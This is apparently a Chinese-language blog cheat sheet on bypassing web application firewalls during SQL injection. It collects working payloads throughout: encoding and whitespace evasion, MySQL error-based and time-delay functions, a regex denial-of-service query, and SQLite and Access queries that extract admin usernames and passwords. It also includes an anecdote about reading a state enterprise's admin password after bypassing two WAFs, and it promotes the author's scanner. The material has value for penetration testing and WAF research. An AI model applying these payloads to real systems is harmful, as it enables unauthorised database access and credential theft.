- 最后一次更新:2025.8.1 - 文章持续更新ing
基础#
- 逻辑符
and (&&)
or(||)
xor(^) # 有些数据库不支持异或运算
- 除外还有一些在实战过程中不常用的:
not(!)
~ # 位取反
<< # 位左移
>> # 位右移
- 运算符(加减乘除)
不要小看运算符,它能帮助你快速验证SQL注入是否存在
假设有参数id=1
id=2-1(True)与id=1-1000(False)(减号ban率低于除号)
id=2/1(True)与id=1/0(False)(这个False会产生除0报错,如果报错抛出则存在SQL报错注入)
同样的:如果id=2-1与id=3-2页面一致,存在SQL注入
当然你也可以拿它来判断闭合方式(不举例了/躺)
Z0Scan就用的这个检测方式~
- 注释符
# (MySQL特有,URL中需编码为%23)
-- (注意后面需跟空格或换行)
/* */ (多行注释,可嵌套)
;%00 (空字符截断,部分环境有效)
通用绕过方法:#
- 强制URL编码
原:id=1000-ascii(1)
后:id=%31%30%30%30%2d%61%73%63%69%69%28%31%29
- 特殊编码&特殊语法替换空格
字符 | 含义 | 说明 |
---|---|---|
%09 | TAB键(水平) | 水平制表符 |
%0a | 新建一行 | 换行符(LF, Line Feed) |
%0b | TAB键(垂直) | 垂直制表符 |
%0c | 新的一页 | 换页符(FF, Form Feed) |
%0d | 回车键 | 回车符(CR, Carriage Return) |
%a0 | 空格 | 非断空格(Non-breaking Space) |
%00 | 终止符 | NULL 字符(字符串结束符) |
/**/ | 注释符 | 多行注释 |
/*!*/ | 注释符 + 检测版本的语法 | MySQL 特有,用于条件执行(如 /*!50001 SELECT */ ) |
特别注意:
%00会截断语句,有时候不可直接作为空格的替换字符,如果直接使用会造成sql语句报错
MySQL中有个特性,一般情况下/!/是用于检测mysql版本,也就是感叹号后面要加数据库版本号
如果高于这个版本,就执行后面的语句,如下面的语句表示数据库版本高5.00.09才会执行:
/*!50009 select * from test*/
另外通常感叹号后面加的是数字,如果是其他字符将会报错。但有例外,如果加的是SQL关键字比如union、select、where等,那么也能正常执行
- 各种数据库中的空白字符:
数据库 | 空白字符(十六进制表示) |
---|---|
SQLite3 | 0A, 0D, 0C, 09, 20 |
MySQL5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
PostgreSQL | 0A, 0D, 0C, 09, 20 |
Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
- 使用括号替代空格(要求:包裹函数、包裹一段运算或子查询)
原:id=1000 and '123' like user()
后:id=1000 and '123' like(user())
- 引号替代空格
原:id=1000 and '123' like '123'
后:id=1000 and'123'like'123'
- 双引号替代单引号
原:id=1000 and '123' like '123'
后:id=1000 and "123" like "123"
- 大小写混合
原:id=1000 and 1 like 1
后:id=1000 aNd 1 lIkE 1
MySQL#
MySQL这个数据库只能说太好绕了,单是函数平替&语句变换就已经足以绕过绝大多数WAF了
- 函数平替绕过
# 字符串长度
length() → char_length()、bit_length()/8
# 字符串截取
substr() → substring()、mid()、left()、trim()、right()、rlike、regexp
# 字符转换
ascii() → ord()、hex()、bin()
# 连接字符串
concat() → concat_ws(',',a,b)、group_concat()(多行合并时)
# 数据库信息
database() → schema()、@@database
# 版本信息
version() → @@version、@@global.version
datadir() → @@datadir
# 字符串替换
replace() → insert(str,pos,len,newstr)
# 延时
sleep() → benchmark()
# 相等
= → like(rlike、regexp)、strcmp()
# 比较
>、< → greatest()(返回最大值)、least()(返回最小值)、 a between 1 and 50 (50>a>=1)、in()
- 注释符变种绕过
原:id=1 and 1=1 -- +
后:id=1 and 1=1 #
id=1 and 1=1 /*!*/
id=1 and 1=1 -- -
id=1 and 1=1 /**/--
- 关键字绕过(利用MySQL特性)
# 空格+关键字+空格 被拦截时
原:select user()
后:sel/**/ect user()
`select` user() (反引号包裹)
- 报错注入函数合集
函数名 | 示例用法 | 适用版本范围 |
---|---|---|
geometrycollection() | geometrycollection((select from(select from(select user())a)b)); | 5.1 ≤ version ≤ 5.5.48 |
multipoint() | multipoint((select * from(select user())b)); | 5.1 ≤ version ≤ 5.5.48 |
polygon() | select polygon((select from(select from(select user())a)b)); | 5.1 ≤ version ≤ 5.5.48 |
multipolygon() | multipolygon((select from(select from(select user())a)b)); | 5.1 ≤ version ≤ 5.5.48 |
linestring() | linestring((select from(select from(select user())a)b)); | 5.1 ≤ version ≤ 5.5.48 |
multilinestring() | multilinestring((select from(select from(select user())a)b)); | 5.1 ≤ version ≤ 5.5.48 |
exp() | exp(~(select * from(select user())a)); | 5.1 ≤ version ≤ 5.5.48 |
ST_LatFromGeoHash() | select ST_LatFromGeoHash(user()); | version ≥ 5.7 |
ST_LongFromGeoHash() | select ST_LongFromGeoHash(user()); | version ≥ 5.7 |
GTID_SUBSET() | select GTID_SUBSET(user(),1); | version ≥ 5.7 |
GTID_SUBTRACT() | select GTID_SUBTRACT(user(),1); | version ≥ 5.7 |
ST_PointFromGeoHash() | select ST_PointFromGeoHash(user(),1); | version ≥ 5.7 |
procedure analyse() | procedure analyse(extractvalue(1,concat(0x3a,user())),1); | version ≤ 5.6.17 |
- char()
这个函数挺有意思的,你可以看情况把它穿插在语句中~
- 特殊延时
- benchmark()
这个就不展开细说了
- 笛卡尔积延时
当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C;
我当时就是借助笛卡尔积延时配合括号替代空格大法过双WAF通杀了某国企后台管理系统(可惜手贱交成事件了,发现是通杀的时候案例不够了/破防)
CNVD评级才中,后面不服,利用反引号特性把后台密码读了一点出来才给高…
- 正则dos延时
通过费时正则匹配操作消耗时间
select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE concat(repeat('(a.*)+',30),'b');
- 使用16进制绕过引号
原:select column_name from information_schema.tables where table_name="users"
后:select column_name from information_schema.tables where table_name=0x7573657273
- 逗号绕过
- 使用from关键字绕过
在substr()和mid()这两个函数中可以使用from to绕过对逗号的过滤:
原:select substr(database() from 1 for 1);
后:select mid(database() from 1 for 1);
- 使用join关键字绕过
原:union select 1,2
后:union select * from (select 1)a join (select 2)b
- 使用like关键字绕过
原:select ascii(mid(user(),1,1))=80 #等价于
后:select user() like 'r%'
- 使用offset关键字绕过
对于limit可以使用offset绕过
原:select * from news limit 0,1
后:select * from news limit 1 offset 0
SQLite#
- 函数特性绕过
# SQLite无concat(),用||连接字符串
原:concat('user=',user())
后:'user='||user()
# 无ascii(),用unicode()替代
原:ascii(substr(user(),1,1))
后:unicode(substr(sqlite_version(),1,1))
- 关键字绕过
# select被拦截时
原:select name from sqlite_master
后:SELect name from sqlite_master (大小写混合)
select/**/name from sqlite_master (注释插空格)
[select] name from sqlite_master (方括号包裹,部分版本支持)
- 运算绕过(SQLite支持数学函数)
# 当+被拦截时,用add()函数
原:id=1+1
后:id=add(1,1)
# 乘法*被拦截时,用mul()
原:id=2*3
后:id=mul(2,3)
- 时间盲注
好像没什么大师傅知道SQLite能时间盲注的?
既然Edusrc允许时间盲注证明而且函数比较特殊,那就当绕过方式提一下
randomblob(N) # 返回一个N字节长的包含伪随机字节的BLOG,可以用它制造延时
Access#
这个数据库的绕过方式比较少,但因为函数名称特殊,依赖于正则规则的WAF通常不拦截它们。
分为一种无select注入与两种select注入形式
- 无select注入
-asc(mid((dfirst("[username]","[Admin]")),6,1))
-asc(mid((dlast("[password]","[User]")),1,1)) (dlast与dfirst类似)
- 联合注入
# 联合查询基础格式
union select 1,username,password,4 from Admin--
# 字段数判断(用null填充)
union select null,null,null from Admin--
- exists
and exists(select admin from admin)
特定环境绕过#
- IIS服务器支持对于unicode的解析
原:id=1000-asc(1)
后:id=1000-a%u0073c(1) # s的unicode编码为\u0073(需要将\换为%后传入服务器解析)
- ASP+IIS环境特性
- 特性1(_特殊符号%的处理_)
原:id=1000-asc(1)
后:id=1000-a%sc(1)
- 特性2(_注释绕过_)
原:id=1000
后:a=/*&id=1000-asc(1)&b=*/ (服务器拼接参数后形成/*1000-asc(1)*/)
- Nginx+PHP环境特性
# 当空格被拦截时,用%09(制表符)替代
原:id=1 and 1=1
后:id=1%09and%091=1
- URL编码绕过(部分服务器会二次解码)
# 双重URL编码
原:id=1 and 1=1
第一次编码:id=1%20and%201=1
第二次编码:id=1%2520and%25201%253D1
- HTTP参数污染(部分服务器会拼接参数值)
原:id=1000 and 1=1
后:id=1000&id=and&id=1=1
- 使用双关键字绕过(若删除掉第一个匹配的union就能绕过)
id=-1' UNION SELECT 1,2,3
id=-1' UNIunionON SeLselectECT 1,2,3
写在最后,SQL注入绕过其实并不难,我是凭借SQL注入水了100多Rank

希望各位大师傅熟悉绕过后悠着点,别抢我饭碗/跪
也希望各位大师傅多多推下我的项目吖~
Z0Scan: Security tools for web vulnerability detection and red teaming.
